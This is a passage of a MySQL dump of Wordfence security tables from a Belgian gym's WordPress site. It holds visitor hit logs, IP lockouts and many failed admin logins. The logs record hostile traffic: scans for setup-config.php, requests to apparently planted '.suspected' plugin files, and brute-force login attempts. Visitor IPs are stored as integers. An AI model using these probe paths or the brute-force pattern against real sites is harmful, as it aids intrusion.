(76000, 1498285105.613161, 1837280593, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/apple-touch-icon.png', '', 'Safari/11603.2.5 CFNetwork/760.6.5 Darwin/15.6.0 (x86_64)'),
(76001, 1498285106.181210, 1837280593, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/wp-content/themes/figero/images/favicon.ico', '', 'Safari/11603.2.5 CFNetwork/760.6.5 Darwin/15.6.0 (x86_64)'),
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(76004, 1498285107.554722, 1837280593, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/wp-content/themes/figero/images/favicon.ico', '', 'Safari/11603.2.5 CFNetwork/760.6.5 Darwin/15.6.0 (x86_64)'),
(76005, 1498285107.987752, 1837280593, 0, 0, 0, 0, 1, 'http://www.crosstrainingcenter.be/', '', 'Mozilla/5.0 (iPhone; CPU iPhone OS 10_0 like Mac OS X) AppleWebKit/602.1.38 (KHTML, like Gecko) Version/10.0 Mobile/14A300 Safari/602.1'),
(76006, 1498285108.423951, 1837280593, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/apple-touch-icon-precomposed.png', '', 'Safari/11603.2.5 CFNetwork/760.6.5 Darwin/15.6.0 (x86_64)'),
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(76008, 1498285109.279408, 1837280593, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/wp-content/themes/figero/images/favicon.ico', '', 'Safari/11603.2.5 CFNetwork/760.6.5 Darwin/15.6.0 (x86_64)'),
(76009, 1498285109.771797, 1837280593, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/apple-touch-icon-precomposed.png', '', 'Safari/11603.2.5 CFNetwork/760.6.5 Darwin/15.6.0 (x86_64)'),
(76010, 1498285110.218950, 1837280593, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/apple-touch-icon.png', '', 'Safari/11603.2.5 CFNetwork/760.6.5 Darwin/15.6.0 (x86_64)'),
(76011, 1498285110.656654, 1837280593, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/wp-content/themes/figero/images/favicon.ico', '', 'Safari/11603.2.5 CFNetwork/760.6.5 Darwin/15.6.0 (x86_64)'),
(76012, 1498293517.987978, 1426857626, 0, 1, 0, 0, 1, 'http://www.crosstrainingcenter.be/themes/popup-pomo.php', 'http://crosstrainingcenter.be/themes/popup-pomo.php', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4'),
(76013, 1498295391.241282, 1834609551, 1, 0, 0, 0, 1, 'http://www.crosstrainingcenter.be/', 'https://www.google.be/', 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0'),
(76014, 1498295392.358800, 1834609551, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/wp-content/themes/figero/images/favicon.ico', '', 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0'),
(76015, 1498295397.595135, 1834609551, 1, 0, 0, 0, 0, 'http://www.crosstrainingcenter.be/le-cross-training/', 'http://www.crosstrainingcenter.be/', 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0'),
(76016, 1498295398.941872, 1834609551, 0, 0, 0, 0, 0, 'http://www.crosstrainingcenter.be/prix/', 'http://www.crosstrainingcenter.be/le-cross-training/', 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0'),
(76017, 1498295407.221433, 1834609551, 1, 0, 0, 0, 0, 'http://www.crosstrainingcenter.be/', 'http://www.crosstrainingcenter.be/le-cross-training/', 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0'),
(76018, 1498295414.797243, 1834609551, 1, 0, 0, 0, 0, 'http://www.crosstrainingcenter.be/les-seances-namur/', 'http://www.crosstrainingcenter.be/', 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0'),
(76019, 1498295415.947689, 1834609551, 0, 0, 0, 0, 0, 'http://www.crosstrainingcenter.be/en-images/', 'http://www.crosstrainingcenter.be/les-seances-namur/', 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0'),
(76020, 1498297317.104747, 3233512354, 0, 1, 0, 0, 1, 'http://www.crosstrainingcenter.be/new/wp-admin/setup-config.php', '', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'),
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(76022, 1498297317.632070, 3233512354, 0, 1, 0, 0, 1, 'http://www.crosstrainingcenter.be/beta/wp-admin/setup-config.php', '', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'),
(76023, 1498297317.633179, 3233512354, 0, 1, 0, 0, 1, 'http://www.crosstrainingcenter.be/news/wp-admin/setup-config.php', '', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'),
(76024, 1498297318.015850, 3233512354, 0, 1, 0, 0, 1, 'http://www.crosstrainingcenter.be/blog/wordpress/wp-admin/setup-config.php', '', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'),
(76025, 1498306847.776264, 1833311020, 0, 1, 0, 0, 1, 'http://www.crosstrainingcenter.be/wp-content/plugins/wp-db-ajax-made/xml_rpc.class.php.suspected', 'http://crosstrainingcenter.be/wp-content/plugins/wp-db-ajax-made/xml_rpc.class.php.suspected', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4'),
(76026, 1498311277.581544, 2513094943, 0, 1, 0, 0, 1, 'http://www.crosstrainingcenter.be/wp-content/plugins/wp-db-ajax-made/pdo.inc.php.suspected', 'http://crosstrainingcenter.be/wp-content/plugins/wp-db-ajax-made/pdo.inc.php.suspected', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4'),
(76027, 1498314157.628274, 3475901901, 0, 0, 0, 0, 1, 'http://www.crosstrainingcenter.be/robots.txt', '', 'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)'),
(76028, 1498317050.937379, 633042990, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/administrator/', '', ''),
(76029, 1498317051.631488, 633042990, 0, 0, 0, 0, 0, 'http://www.crosstrainingcenter.be/feed/', '', ''),
(76030, 1498317051.954384, 633042990, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/comments/feed/', '', ''),
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(76037, 1498317055.058158, 633042990, 0, 0, 0, 0, 0, 'http://www.crosstrainingcenter.be/hello-world/', '', ''),
(76038, 1498317055.493179, 633042990, 0, 0, 0, 0, 0, 'http://www.crosstrainingcenter.be/category/uncategorized/', '', ''),
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(76121, 1498376142.946227, 1538656104, 0, 0, 0, 0, 1, 'http://www.crosstrainingcenter.be/', '', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/603.1.30 (KHTML, like Gecko)'),
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-- --------------------------------------------------------

--
-- Structure de la table `wp_wfHoover`
--

CREATE TABLE `wp_wfHoover` (
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--
-- Déchargement des données de la table `wp_wfHoover`
--

INSERT INTO `wp_wfHoover` (`id`, `owner`, `host`, `path`, `hostKey`) VALUES
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-- --------------------------------------------------------

--
-- Structure de la table `wp_wfIssues`
--

CREATE TABLE `wp_wfIssues` (
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--
-- Déchargement des données de la table `wp_wfIssues`
--

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(11219, 1492320260, 'new', 'wfPluginUpgrade', 1, '25131a8272a928df146fde866da7d216', '25131a8272a928df146fde866da7d216', 'The Plugin \&quot;Google Analyticator\&quot; needs an upgrade.', 'You need to upgrade \&quot;Google Analyticator\&quot; to the newest version to ensure you have any security fixes the developer has released.', 'a:12:{s:4:\&quot;Name\&quot;;s:19:\&quot;Google Analyticator\&quot;;s:9:\&quot;PluginURI\&quot;;s:128:\&quot;http://www.videousermanuals.com/google-analyticator/?utm_campaign=analyticator&amp;#038;utm_medium=plugin&amp;#038;utm_source=readme-txt\&quot;;s:7:\&quot;Version\&quot;;s:5:\&quot;6.4.5\&quot;;s:11:\&quot;Description\&quot;;s:425:\&quot;Adds the necessary JavaScript code to enable &lt;a href=\&quot;http://www.google.com/analytics/\&quot;&gt;Google&amp;#8217;s Analytics&lt;/a&gt;. After enabling this plugin you need to authenticate with Google, then select your domain and you&amp;#8217;re set. &lt;cite&gt;By &lt;a href=\&quot;http://www.videousermanuals.com/?utm_campaign=analyticator&amp;#038;utm_medium=plugin&amp;#038;utm_source=readme-txt\&quot; title=\&quot;Visit author homepage\&quot;&gt;Video User Manuals Pty Ltd&lt;/a&gt;.&lt;/cite&gt;\&quot;;s:6:\&quot;Author\&quot;;s:179:\&quot;&lt;a href=\&quot;http://www.videousermanuals.com/?utm_campaign=analyticator&amp;#038;utm_medium=plugin&amp;#038;utm_source=readme-txt\&quot; title=\&quot;Visit author homepage\&quot;&gt;Video User Manuals Pty Ltd&lt;/a&gt;\&quot;;s:9:\&quot;AuthorURI\&quot;;s:108:\&quot;http://www.videousermanuals.com/?utm_campaign=analyticator&amp;#038;utm_medium=plugin&amp;#038;utm_source=readme-txt\&quot;;s:10:\&quot;TextDomain\&quot;;s:19:\&quot;google-analyticator\&quot;;s:10:\&quot;DomainPath\&quot;;s:0:\&quot;\&quot;;s:7:\&quot;Network\&quot;;b:0;s:5:\&quot;Title\&quot;;s:192:\&quot;&lt;a href=\&quot;http://www.videousermanuals.com/google-analyticator/?utm_campaign=analyticator&amp;#038;utm_medium=plugin&amp;#038;utm_source=readme-txt\&quot; title=\&quot;Visit plugin homepage\&quot;&gt;Google Analyticator&lt;/a&gt;\&quot;;s:10:\&quot;AuthorName\&quot;;s:26:\&quot;Video User Manuals Pty Ltd\&quot;;s:10:\&quot;newVersion\&quot;;s:5:\&quot;6.5.3\&quot;;}'),
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-- --------------------------------------------------------

--
-- Structure de la table `wp_wfLeechers`
--

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--
-- Déchargement des données de la table `wp_wfLeechers`
--

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(25004505, 3475901892, 1),
(25004660, 1806327814, 1),
(25004690, 3475901729, 1),
(25004982, 1375113052, 1),
(25005019, 1532393936, 1),
(25005080, 786801766, 1),
(25005233, 2637637520, 1),
(25005276, 1375113052, 1),
(25005325, 1375113052, 1),
(25005451, 1123631236, 1),
(25005655, 872366417, 1),
(25005907, 2760155399, 1),
(25005952, 3024883471, 1),
(25005964, 2637637538, 1),
(25006001, 1538358128, 2),
(25006002, 1538358128, 2),
(25006039, 96753435, 1),
(25006039, 872368002, 1),
(25006055, 1538358128, 2),
(25006229, 3657084759, 1),
(25006394, 3103966404, 1),
(25006394, 3256705680, 1),
(25006473, 1399309361, 2),
(25006550, 3657084759, 1),
(25006634, 872366347, 1),
(25006679, 1427857479, 1),
(25006681, 1427857479, 1),
(25006700, 1375113052, 1),
(25006705, 3657084759, 1),
(25006710, 2637637538, 1),
(25006726, 873502953, 2),
(25006740, 1427857479, 1),
(25006743, 1123632645, 1),
(25006769, 1532381390, 1),
(25006935, 3657084759, 1),
(25006978, 3657084759, 1),
(25007010, 1538592859, 2),
(25007026, 2916154802, 2),
(25007032, 3657084759, 1),
(25007084, 1399309361, 2),
(25007117, 3657084759, 1),
(25007258, 3657084759, 1),
(25007319, 1123632645, 2),
(25007433, 2637637538, 1),
(25007477, 1123632645, 1),
(25007532, 1123632645, 1),
(25007559, 2513063484, 1),
(25007855, 1055643893, 4);

-- --------------------------------------------------------

--
-- Structure de la table `wp_wfLockedOut`
--

CREATE TABLE `wp_wfLockedOut` (
  `IP` int(10) UNSIGNED NOT NULL,
  `blockedTime` bigint(20) NOT NULL,
  `reason` varchar(255) NOT NULL,
  `lastAttempt` int(10) UNSIGNED DEFAULT '0',
  `blockedHits` int(10) UNSIGNED DEFAULT '0'
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

--
-- Déchargement des données de la table `wp_wfLockedOut`
--

INSERT INTO `wp_wfLockedOut` (`IP`, `blockedTime`, `reason`, `lastAttempt`, `blockedHits`) VALUES
(1840808480, 1497192285, 'Exceeded the maximum number of login failures which is: 20. The last username they tried to sign in with was: \'\'', 0, 0),
(2032808987, 1497197627, 'Exceeded the maximum number of login failures which is: 20. The last username they tried to sign in with was: \'\'', 0, 0),
(3682725338, 1498448313, 'Exceeded the maximum number of login failures which is: 20. The last username they tried to sign in with was: \'\'', 0, 0),
(1466596995, 1497955206, 'Exceeded the maximum number of login failures which is: 20. The last username they tried to sign in with was: \'\'', 0, 0),
(1255184110, 1498406406, 'Exceeded the maximum number of login failures which is: 20. The last username they tried to sign in with was: \'\'', 0, 0),
(887721709, 1499521764, 'Exceeded the maximum number of login failures which is: 20. The last username they tried to sign in with was: \'\'', 0, 0),
(136172254, 1497016384, 'Exceeded the maximum number of login failures which is: 20. The last username they tried to sign in with was: \'\'', 0, 0),
(1168352192, 1496778654, 'Exceeded the maximum number of login failures which is: 20. The last username they tried to sign in with was: \'\'', 0, 0),
(1728496878, 1496843770, 'Exceeded the maximum number of login failures which is: 20. The last username they tried to sign in with was: \'\'', 0, 0),
(1049988935, 1496512596, 'Exceeded the maximum number of login failures which is: 20. The last username they tried to sign in with was: \'\'', 0, 0),
(96963116, 1496807811, 'Exceeded the maximum number of login failures which is: 20. The last username they tried to sign in with was: \'\'', 0, 0),
(3489067105, 1496649439, 'Exceeded the maximum number of login failures which is: 20. The last username they tried to sign in with was: \'\'', 0, 0),
(1539837113, 1496016405, 'Exceeded the maximum number of login failures which is: 20. The last username they tried to sign in with was: \'\'', 0, 0),
(2760119799, 1493230816, 'Exceeded the maximum number of login failures which is: 20. The last username they tried to sign in with was: \'\'', 0, 0),
(1589523921, 1493333441, 'Exceeded the maximum number of login failures which is: 20. The last username they tried to sign in with was: \'administrator\'', 1493347507, 158);

-- --------------------------------------------------------

--
-- Structure de la table `wp_wfLocs`
--

CREATE TABLE `wp_wfLocs` (
  `IP` int(10) UNSIGNED NOT NULL,
  `ctime` int(10) UNSIGNED NOT NULL,
  `failed` tinyint(3) UNSIGNED NOT NULL,
  `city` varchar(255) DEFAULT '',
  `region` varchar(255) DEFAULT '',
  `countryName` varchar(255) DEFAULT '',
  `countryCode` char(2) DEFAULT '',
  `lat` float(10,7) DEFAULT '0.0000000',
  `lon` float(10,7) DEFAULT '0.0000000'
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Structure de la table `wp_wfLogins`
--

CREATE TABLE `wp_wfLogins` (
  `id` int(10) UNSIGNED NOT NULL,
  `ctime` double(17,6) UNSIGNED NOT NULL,
  `fail` tinyint(3) UNSIGNED NOT NULL,
  `action` varchar(40) NOT NULL,
  `username` varchar(255) NOT NULL,
  `userID` int(10) UNSIGNED NOT NULL,
  `IP` int(10) UNSIGNED NOT NULL,
  `UA` text
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

--
-- Déchargement des données de la table `wp_wfLogins`
--

INSERT INTO `wp_wfLogins` (`id`, `ctime`, `fail`, `action`, `username`, `userID`, `IP`, `UA`) VALUES
(101788, 1498073279.949281, 1, 'loginFailValidUsername', 'admin', 1, 3181235630, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101789, 1498073688.670281, 1, 'loginFailValidUsername', 'admin', 1, 1048588454, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101790, 1498073689.864582, 1, 'loginFailValidUsername', 'admin', 1, 1048588454, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101791, 1498075109.218547, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101792, 1498076382.462599, 1, 'loginFailValidUsername', 'admin', 1, 774982988, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101793, 1498076383.551099, 1, 'loginFailValidUsername', 'admin', 1, 774982988, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101794, 1498080682.271613, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101795, 1498081143.041395, 1, 'loginFailValidUsername', 'admin', 1, 3398322094, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101796, 1498081144.498527, 1, 'loginFailValidUsername', 'admin', 1, 3398322094, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101797, 1498086252.860838, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101798, 1498089428.373546, 1, 'loginFailValidUsername', 'admin', 1, 3305249319, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101799, 1498092121.459347, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101800, 1498095704.503463, 1, 'loginFailValidUsername', 'admin', 1, 469753397, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101801, 1498095706.134523, 1, 'loginFailValidUsername', 'admin', 1, 469753397, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101802, 1498099069.425965, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101803, 1498099839.511774, 1, 'loginFailValidUsername', 'admin', 1, 694796386, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101804, 1498099840.609148, 1, 'loginFailValidUsername', 'admin', 1, 694796386, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101805, 1498100668.263673, 1, 'loginFailValidUsername', 'admin', 1, 1950532940, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101806, 1498100669.541004, 1, 'loginFailValidUsername', 'admin', 1, 1950532940, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101807, 1498102063.342985, 1, 'loginFailValidUsername', 'admin', 1, 3551433226, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101808, 1498102064.842611, 1, 'loginFailValidUsername', 'admin', 1, 3551433226, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101809, 1498103802.810592, 1, 'loginFailValidUsername', 'admin', 1, 1442374565, 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; chromeframe; .NET CLR 2.0.50727)'),
(101810, 1498105147.419556, 1, 'loginFailValidUsername', 'admin', 1, 3139973540, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101811, 1498105508.725912, 1, 'loginFailValidUsername', 'admin', 1, 1091807106, 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; AskTbORJ/5.14.1.20007; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)'),
(101812, 1498105998.825602, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101813, 1498110750.274674, 1, 'loginFailValidUsername', 'admin', 1, 1001457484, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101814, 1498113169.875662, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101815, 1498114197.276861, 1, 'loginFailValidUsername', 'admin', 1, 466191216, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101816, 1498114198.918312, 1, 'loginFailValidUsername', 'admin', 1, 466191216, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101817, 1498115465.268262, 1, 'loginFailValidUsername', 'admin', 1, 1504899105, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101818, 1498115466.339208, 1, 'loginFailValidUsername', 'admin', 1, 1504899105, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101819, 1498120936.927215, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101820, 1498123032.393821, 1, 'loginFailValidUsername', 'admin', 1, 1731167259, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101821, 1498123034.033108, 1, 'loginFailValidUsername', 'admin', 1, 1731167259, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101822, 1498123952.156505, 1, 'loginFailValidUsername', 'admin', 1, 19917958, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101823, 1498124291.512175, 1, 'loginFailValidUsername', 'admin', 1, 2959596063, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101824, 1498124294.133243, 1, 'loginFailValidUsername', 'admin', 1, 2959596063, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101825, 1498124944.836009, 1, 'loginFailValidUsername', 'admin', 1, 1337291349, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101826, 1498124946.055550, 1, 'loginFailValidUsername', 'admin', 1, 1337291349, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101827, 1498125216.602381, 1, 'loginFailValidUsername', 'admin', 1, 1393178435, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101828, 1498125217.625442, 1, 'loginFailValidUsername', 'admin', 1, 1393178435, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101829, 1498125904.153715, 1, 'loginFailValidUsername', 'admin', 1, 1892279657, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101830, 1498125905.803015, 1, 'loginFailValidUsername', 'admin', 1, 1892279657, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101831, 1498129025.478472, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101832, 1498137406.080605, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101833, 1498137643.772358, 1, 'loginFailValidUsername', 'admin', 1, 835697955, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101834, 1498137644.948752, 1, 'loginFailValidUsername', 'admin', 1, 835697955, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101835, 1498138691.660074, 1, 'loginFailValidUsername', 'admin', 1, 1829643291, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101836, 1498138795.989653, 1, 'loginFailValidUsername', 'admin', 1, 3070050086, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101837, 1498138797.621807, 1, 'loginFailValidUsername', 'admin', 1, 3070050086, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101838, 1498140454.123668, 1, 'loginFailValidUsername', 'admin', 1, 2576789442, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101839, 1498140455.640521, 1, 'loginFailValidUsername', 'admin', 1, 2576789442, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101840, 1498140460.218725, 1, 'loginFailValidUsername', 'admin', 1, 1441388581, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101841, 1498140461.310709, 1, 'loginFailValidUsername', 'admin', 1, 1441388581, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101842, 1498141271.485053, 1, 'loginFailInvalidUsername', 'training', 0, 692940850, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(101843, 1498141273.824132, 1, 'loginFailInvalidUsername', 'notre', 0, 692940850, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(101844, 1498141276.225338, 1, 'loginFailInvalidUsername', 'pour', 0, 692940850, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(101845, 1498141278.532604, 1, 'loginFailInvalidUsername', 'cross', 0, 692940850, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(101846, 1498141280.588080, 1, 'loginFailInvalidUsername', 'objectifs', 0, 692940850, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(101847, 1498141282.638240, 1, 'loginFailInvalidUsername', 'venez', 0, 692940850, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(101848, 1498141284.583763, 1, 'loginFailInvalidUsername', 'outils', 0, 692940850, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(101849, 1498141286.682574, 1, 'loginFailInvalidUsername', 'professionnel', 0, 692940850, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(101850, 1498141288.781405, 1, 'loginFailInvalidUsername', 'travail', 0, 692940850, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(101851, 1498141290.775118, 1, 'loginFailInvalidUsername', 'namur', 0, 692940850, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(101852, 1498144027.336804, 1, 'loginFailValidUsername', 'admin', 1, 84760548, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101853, 1498144028.379708, 1, 'loginFailValidUsername', 'admin', 1, 84760548, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101854, 1498146768.907335, 1, 'loginFailValidUsername', 'admin', 1, 656944339, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101855, 1498146770.195485, 1, 'loginFailValidUsername', 'admin', 1, 656944339, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101856, 1498146833.297721, 1, 'loginFailValidUsername', 'admin', 1, 1497940443, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101857, 1498146834.311214, 1, 'loginFailValidUsername', 'admin', 1, 1497940443, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101858, 1498147152.587986, 1, 'loginFailValidUsername', 'admin', 1, 2588453269, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
